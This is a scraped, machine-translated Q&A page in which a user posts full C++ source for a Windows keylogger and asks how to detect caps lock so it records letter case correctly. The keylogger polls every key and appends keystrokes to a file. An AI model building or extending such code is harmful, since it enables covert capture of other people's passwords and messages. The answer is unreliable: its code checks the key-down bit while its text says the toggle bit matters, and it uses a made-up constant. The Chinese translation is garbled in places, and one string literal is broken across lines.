Welcome to OStack Knowledge Sharing Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
446 views
in Technique[技术] by (71.8m points)

c++ - 检查CAPSLOCK是否在C ++中打开/关闭(Check whether CAPSLOCK is on/off in C++)

Hi I have this code which can record keystrokes and save it in dat.txt file, But it can't differentiate b/w upper and lowercase letters, It writes all the capital characters like "ABCDEFG" not "abcdefg".

(嗨,我有这段代码,可以记录击键并将其保存在dat.txt文件中,但是无法区分黑白大写字母,它会写所有大写字符,例如“ ABCDEFG”而不是“ abcdefg”。)

I need a code that checks whether capslock is ON/OFF.

(我需要一个检查Capslock是否为ON / OFF的代码。)

And then save output as it is.

(然后按原样保存输出。)

#define _WIN32_WINNT 0x0500 
#include <Windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
void LOG(string input) {
    fstream LogFile; 
    LogFile.open("dat.txt", fstream::app); 
    if (LogFile.is_open()) {
        LogFile << input; 
        LogFile.close();
    }
}

bool SpecialKeys(int S_Key)
{
 switch (S_Key) {
  case VK_SPACE:
       LOG(" ");
       return true;
  case VK_RETURN:
       LOG("
");
       return true;
  case VK_SHIFT:
       LOG("[SHIFT]");
       return true;
  case VK_CAPITAL:
       LOG("[CAPSLOCK]");
       return true;
  case VK_OEM_8:
       LOG("!");
       return true;
  case VK_MULTIPLY:LOG("*");
       return true;
  default:
       return false;
 }
}



int main() {
    char KEY = 'x'; 
    while (true) {
        Sleep(10); 
        for (int KEY = 0; KEY <= 255; KEY++) {
            if (GetAsyncKeyState(KEY) == -32767) {    
                fstream LogFile;
                LogFile.open("dat.txt", fstream::app); 
                if (LogFile.is_open()) {
                    LogFile << char(KEY); 
                    LogFile.close();
                }
            }
        }
    }
    return 0;
}
  ask by Muhammad Ali translate from so

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Answer

0 votes
by (71.8m points)

You can use GetKeyState function to Retrieve the status of the specified virtual key .

(您可以使用GetKeyState函数检索指定虚拟键的状态。)

The return value specifies the status of the specified virtual key , as follows: If the high-order bit is 1, the key is down;

(返回值指定指定虚拟键的状态,如下所示:如果高位为1,则表示该键已按下;否则,该键处于按下状态。)

otherwise, it is up.

(否则,它会上升。)

If the low-order bit is 1, the key is toggled.

(如果低位为1,则切换键。)

A key, such as the CAPS LOCK key, is toggled if it is turned on.

(如果打开了一个键(例如CAPS LOCK键),则会对其进行切换。)

The key is off and untoggled if the low-order bit is 0. A toggle key's indicator light (if any) on the keyboard will be on when the key is toggled, and off when the key is untoggled.

(如果低位为0,则此键处于关闭状态且不切换。切换键时,键盘上的切换键指示灯(如果有)将亮起,而当取消切换键时,其指示灯将熄灭。)

VK_CAPSLOCK = 0x14;

.

(。)

if(GetKeyState(VK_CAPSLOCK) < 0)
 { 
   // The CAPSLOCK IS ON 
 } 
else
 { 
  // The CAPSLOCK IS OFF 
 }

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome to OStack Knowledge Sharing Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

...